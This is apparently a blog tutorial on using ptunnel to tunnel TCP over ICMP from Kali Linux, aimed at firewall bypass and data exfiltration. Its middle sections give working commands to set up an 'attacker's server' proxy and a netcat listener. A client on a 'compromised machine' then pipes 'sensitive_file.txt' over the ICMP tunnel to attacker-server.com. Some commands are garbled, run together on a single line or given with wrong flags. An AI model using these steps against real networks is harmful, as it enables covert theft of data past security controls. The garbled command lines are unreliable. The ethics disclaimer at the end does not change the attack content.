MITRE ATT&CK

Ptunnel Guide


Introduction to ptunnel



Key Points



Direct Answer-

Introduction to ptunnel

Ptunnel is a tool that lets you create a tunnel for TCP connections using ICMP echo request and reply packets, commonly known as ping requests and replies. This means it can send data through networks where direct TCP or UDP connections are blocked, but ICMP traffic (like ping) is permitted. This is particularly useful for bypassing firewalls or exfiltrating data from restricted networks.


For example, if you’re on a network that blocks SSH (port 22) but allows ping, you can use ptunnel to tunnel SSH traffic through ICMP, effectively bypassing the firewall. Similarly, for data exfiltration, you can send files or sensitive information through the tunnel to an external server.


Setting Up ptunnel on Kali Linux

To use ptunnel on Kali Linux, you’ll need two machines: one inside the restricted network (compromised machine) and one outside (attacker’s server). Here’s how to set it up:


sudo apt install ptunnel
sudo ptunnel
sudo ptunnel -p <attacker_ip> -lp 8000 -da <target_ip> -dp 22 -c eth0
ssh -p 8000 localhost

Data Exfiltration


On the attacker’s server,to listen for data, run:

sudo ptunnel && nc -l -p 12345 > exfiltrated_data.txt

On the compromised machine:

sudo ptunnel -p <attacker_ip> -lp 8000 -da <attacker_ip> -dp 12345 -c eth0 cat sensitive_file.txt | nc localhost 8000 cat exfiltrated_data.txt

Performance and Detection Risks


While ptunnel is powerful, it’s worth noting that ICMP packets are typically small, so data transfer might be slow, which could be unexpected for users expecting fast exfiltration. Additionally, modern firewalls and intrusion detection systems might detect and block such tunneling, so it’s not foolproof and requires careful testing.


Comprehensive Guide on Using ptunnel


This section provides a detailed exploration of ptunnel, its applications for firewall bypass and data exfiltration, and practical implementation using Kali Linux. It expands on the direct answer, offering a professional and thorough analysis for readers seeking in-depth understanding.


Introduction to ptunnel


Ptunnel is an application designed to tunnel TCP connections over ICMP echo request and reply packets, commonly known as ping requests and replies. This capability is particularly valuable in penetration testing and red team operations, where network restrictions may block traditional TCP or UDP traffic, but ICMP is permitted for troubleshooting purposes. By encapsulating TCP data within ICMP packets, ptunnel enables covert communication, making it a tool of interest for both offensive security and defensive monitoring.


The tool Is pre-installed on Kali Linux, a popular distribution for penetration testing, and can be installed on other Linux systems via package managers or compiled from source, as seen on Kali Linux Tools – ptunnel installation and usage. Its primary use cases include bypassing firewalls, accessing restricted resources, and exfiltrating data, which we will explore in detail.


Understanding Firewall Bypass and Data Exfiltration


Firewall bypass involves circumventing network security measures that restrict certain protocols or ports. For instance, many corporate networks block outgoing TCP connections on ports like 22 (SSH) or 80/443 (HTTP/HTTPS) to prevent unauthorized access, but often allow ICMP for diagnostic purposes like ping. Ptunnel leverages this by tunneling TCP traffic through ICMP, effectively evading such restrictions.


Data exfiltration, on the other hand, refers to the unauthorized transfer of data from a compromised network to an external location. This is a critical stage in cyber attacks, often used to steal sensitive information like customer data, intellectual property, or credentials. Ptunnel facilitates this by creating a covert channel, which can be particularly effective in environments with strict egress filtering but permissive ICMP policies.


Technical Details and Implementation


To implement ptunnel for firewall bypass and data exfiltration, a typical setup involves two machines: a compromised machine inside the target network (client) and an attacker’s server outside the network (proxy). The process requires root privileges due to ptunnel’s need to manipulate network packets at a low level.


Installation and Prerequisites


sudo apt install ptunnel

Installed size is approximately 124 KB, with dependencies including libc6, libpcap0.8t64, libselinux1, and lsb-base, as noted on Kali Linux Tools – ptunnel.


On the attacker’s server, ensure ptunnel is installed similarly, either via package manager or by downloading from Ping Tunnel.


Verify ICMP connectivity between the two machines using ping attacker-server.com from the compromised machine.


Step-by-Step Setup for Firewall Bypass

Proxy Setup on Attacker’s Server:


Start the ptunnel proxy with:


sudo ptunnel
Optionally, enhance security with a password using -x your_password, e.g.,
sudo ptunnel -x securityNik

As seen in examples from Securitynik – ICMP Covert Channels: pTunnel – the setup.


This proxy listens for ICMP packets and forwards encapsulated TCP traffic.


Client Setup on Compromised Machine:


Identify the network interface (e.g., eth0) using ip a.


Run the client with:


sudo ptunnel -p attacker-server.com -lp 8000 -da login.domain.com -dp 22 -c eth0

Here, -p attacker-server.com specifies the proxy address, -lp 8000 sets the local listening port, -da login.domain.com -dp 22 targets the destination (e.g., an SSH server), and -c eth0 enables packet capturing on the interface.


For firewall bypass, you can then connect to the tunneled service:


ssh -p 8000 localhost

This allows you to access login.domain.com via SSH.


Step-by-Step Setup for Data Exfiltration

Proxy Setup on Attacker’s Server:


As above, run sudo ptunnel or with additional options like logging (-f ptunnel.log) for monitoring.


Set Up a Listener on Attacker’s Server:


Install netcat if needed: sudo apt install netcat.


Start a listener to receive exfiltrated data:


nc -l -p 12345 > exfiltrated_data.txt

This listens on port 12345 and saves incoming data to exfiltrated_data.txt.


Client Setup on Compromised Machine:


Run the ptunnel client, adjusting the destination to the attacker’s server and listener port:


sudo ptunnel -p attacker-server.com -lp 8000 -da attacker-server.com -dp 12345 -c eth0

This sets up the tunnel, forwarding traffic from local port 8000 to attacker-server.com:12345.


Exfiltrate Data:


On the compromised machine, send data through the tunnel using netcat:


cat sensitive_file.txt | nc localhost 8000

The data is encapsulated in ICMP packets, sent to the proxy, and forwarded to the netcat listener, where it is saved to exfiltrated_data.txt.


Verification:

On the attacker’s server, verify the received data with cat exfiltrated_data.txt.

Monitor traffic with tcpdump -I eth0 icmp on the compromised machine to ensure ICMP packets are being sent.


Advanced Considerations and Options

Ptunnel offers several advanced options to enhance functionality and security, as detailed in its man page (Ping Tunnel Manpage):


Option Description
-v Set verbosity level (-1 for no output, 0 for errors, 1-5 for increasing detail).
-f Log output to a file, e.g., -f ptunnel.log.
-x Set a password for proxy access, enhancing security.
-c Specify network device for packet capturing, e.g., -c eth0.
-udp Toggle UDP instead of ICMP, listening on port 53 (requires root).

These options can be combined for specific use cases, such as logging for forensic analysis or restricting access with passwords.


Performance and Limitations


ICMP packets are typically designed for small, diagnostic messages, which can lead to slower data transfer rates compared to TCP/UDP. This is particularly relevant for data exfiltration, where large files may take significant time to transfer. Additionally, many networks rate-limit ICMP traffic, further impacting performance.


Another limitation is detection risk. Modern intrusion detection systems (IDS) and firewalls may flag unusual ICMP traffic patterns, especially if the payload size or frequency deviates from normal ping behavior. For example, Cynet – How Hackers Use ICMP Tunneling discusses how tools like ptunnel can be detected through endpoint anomaly detection and micro-segmentation.


Real-World Examples and Use Cases



These examples highlight ptunnel’s versatility, but also underscore the need for careful testing in controlled environments to avoid detection.


Ethical and Legal Considerations


Using ptunnel for firewall bypass and data exfiltration in unauthorized contexts is illegal and unethical. This tutorial is intended for educational purposes, such as penetration testing with explicit permission, or for understanding defensive strategies. Always ensure compliance with applicable laws and obtain consent before testing on any network.


Conclusion


Ptunnel is a robust tool for tunneling TCP over ICMP, offering significant potential for firewall bypass and data exfiltration in penetration testing scenarios. By following the steps outlined, users can set up and utilize ptunnel on Kali Linux, leveraging its capabilities while being mindful of performance limitations and detection risks. For further reading, consult the cited resources for additional examples and technical details.


Key Citations






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